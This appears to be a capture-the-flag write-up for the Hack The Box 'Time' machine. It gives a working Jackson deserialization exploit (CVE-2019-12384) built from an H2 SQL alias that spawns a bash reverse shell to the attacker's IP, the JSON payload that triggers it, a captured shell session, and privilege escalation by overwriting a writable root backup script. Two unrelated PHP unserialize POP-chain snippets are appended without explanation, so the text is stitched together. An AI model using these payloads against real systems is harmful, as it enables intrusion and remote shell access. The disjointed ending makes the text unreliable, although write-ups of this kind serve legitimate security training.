Validation failed: Unhandled Java exception: com.fasterxml.jackson.core.JsonParseException: Unrecognized token 'test': was expecting 'null', 'true', 'false' or NaN
com.fasterxml.jackson.core looks interesting. google it and find something.
Understanding insecure implementation of Jackson Deserialization
After reading the article , try this command Let’s see how’s it’s work.
1
Validation failed: Unhandled Java exception: com.fasterxml.jackson.databind.exc.MismatchedInputException: Unexpected token (START_OBJECT), expected START_ARRAY: need JSON Array to contain As.WRAPPER_ARRAY type information for class java.lang.Object
search it on google and check any solution for this error.
This stack overflow gave us the solution of our problem that we need to use ‘[]’ instead of ‘{}’. Let’s try this real quick.
1
Validation failed: Unhandled Java exception: com.fasterxml.jackson.databind.exc.InvalidTypeIdException: Could not resolve typeid'test' as a subtype of [simple type, class java.lang.Object]: no such class found
We got the error but it is different one. It’s say “Could not resolve type id ‘test’, no class found”.
After a few google search i found the interesting
CVE-2019-12384
exploit
step1
Create a file inject.sql Change the ip and port.
1 2 3 4 5 6
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { String[] command = {"bash", "-c", cmd}; java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : ""; } $$; CALL SHELLEXEC('setsid bash -i &>/dev/tcp/10.10.14.2/3344 0>&1 &')
step2
Start python server and netcat Listener.
1 2
root@kali:~/hackthebox/machine/time# python -m SimpleHTTPServer 80 Serving HTTP on 0.0.0.0 port 80 ...
step3
Go on the website select “Validate (beta!)” and input this: Change the ip address also.
1
["ch.qos.logback.core.db.DriverManagerConnectionSource",{"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://10.10.14.2/inject.sql'"}]
root@kali:~# nc -lvp 3344 Ncat: Version 7.80 ( https://nmap.org/ncat ) Ncat: Listening on :::3344 Ncat: Listening on 0.0.0.0:3344 Ncat: Connection from 10.10.10.214. Ncat: Connection from 10.10.10.214:60198. bash: cannot set terminal process group (-1): Inappropriate ioctl for device bash: no job control in this shell pericles@time:/var/www/html$ id id uid=1000(pericles) gid=1000(pericles) groups=1000(pericles) pericles@time:/var/www/html$ whoami whoami pericles pericles@time:/var/www/html$ cd cd bash: cd: HOME not set pericles@time:/var/www/html$ cd ~ cd ~ pericles@time:/home/pericles$ ls ls snap user.txt pericles@time:/home/pericles$ cat user.txt cat user.txt f1cd7712d0ea3d98f672c90c975aa156
put the ssh public key and get the ssh connection.
root@kali:~/hackthebox/machine/time# chmod 600 id_rsa root@kali:~/hackthebox/machine/time# ssh -i id_rsa pericles@10.10.10.214 The authenticity of host '10.10.10.214 (10.10.10.214)' can't be established. ECDSA key fingerprint is SHA256:sMBq2ECkw0OgfWnm+CdzEgN36He1XtCyD76MEhD/EKU. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.10.214' (ECDSA) to the list of known hosts. Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-52-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Sat 07 Nov 2020 09:07:07 AM UTC System load: 0.75 Usage of /: 23.7% of 29.40GB Memory usage: 33% Swap usage: 0% Processes: 249 Users logged in: 0 IPv4 address for ens160: 10.10.10.214 IPv6 address for ens160: dead:beef::250:56ff:feb9:da3d 83 updates can be installed immediately. 0 of these updates are security updates. To see these additional updates run: apt list --upgradable Last login: Fri Oct 23 09:19:19 2020 from 10.10.14.5 pericles@time:~$ id uid=1000(pericles) gid=1000(pericles) groups=1000(pericles) pericles@time:~$ whoami pericles
Privilege escalation
run the LinEnum
privilege-escalation-awesome-scripts-suite
Found interesting file in LinEnum result.
1
/bin/bash /usr/bin/timer_backup.sh
check we have any rights to write the file or not.
1 2
pericles@time:~$ ls -la /usr/bin/timer_backup.sh -rwxrw-rw- 1 pericles pericles 88 Nov 7 09:15 /usr/bin/timer_backup.sh
We have Permission to write the file. Let’s replace root SSH_PUB_KEY with our’s ssh public key.
<?php class start_gg { public $mod1; public $mod2; public function__destruct() { $this->mod1->test1(); } } class Call { public $mod1; public $mod2; public functiontest1() { $this->mod1->test2(); } } class funct { public $mod1; public $mod2; public function __call($test2,$arr) { $s1 = $this->mod1; $s1(); } } class func { public $mod1; public $mod2; public function__invoke() { $this->mod2 = "字符串拼接".$this->mod1; } } class string1 { public $str1; public $str2; public function__toString() { $this->str1->get_flag(); return"1"; } } class GetFlag { public functionget_flag() { echo"flag:"."xxxxxxxxxxxx"; } } $a = $_GET['string']; unserialize($a); ?>
<?php class start_gg { public $mod1; public $mod2; public function__construct() { $this->mod1 = new Call(); } public function__destruct() { $this->mod1->test1(); } } class Call { public $mod1; public $mod2; public function__construct() { $this->mod1 = new funct(); } public functiontest1() { $this->mod1->test2(); } } class funct { public $mod1; public $mod2; public function__construct() { $this->mod1 = new func(); } public function __call($test2,$arr) { $s1 = $this->mod1; $s1(); } } class func { public $mod1; public $mod2; public function__construct() { $this->mod1=new string1(); } public function__invoke() { $this->mod2 = "字符串拼接".$this->mod1; } } class string1 { public $str1; public $str2; public function__construct() { $this->str1=new GetFlag(); } public function__toString() { $this->str1->get_flag(); return"1"; } } class GetFlag { public functionget_flag() { echo"flag:"."xxxxxxxxxxxx"; } } $a = new start_gg(); echo serialize($a); ?>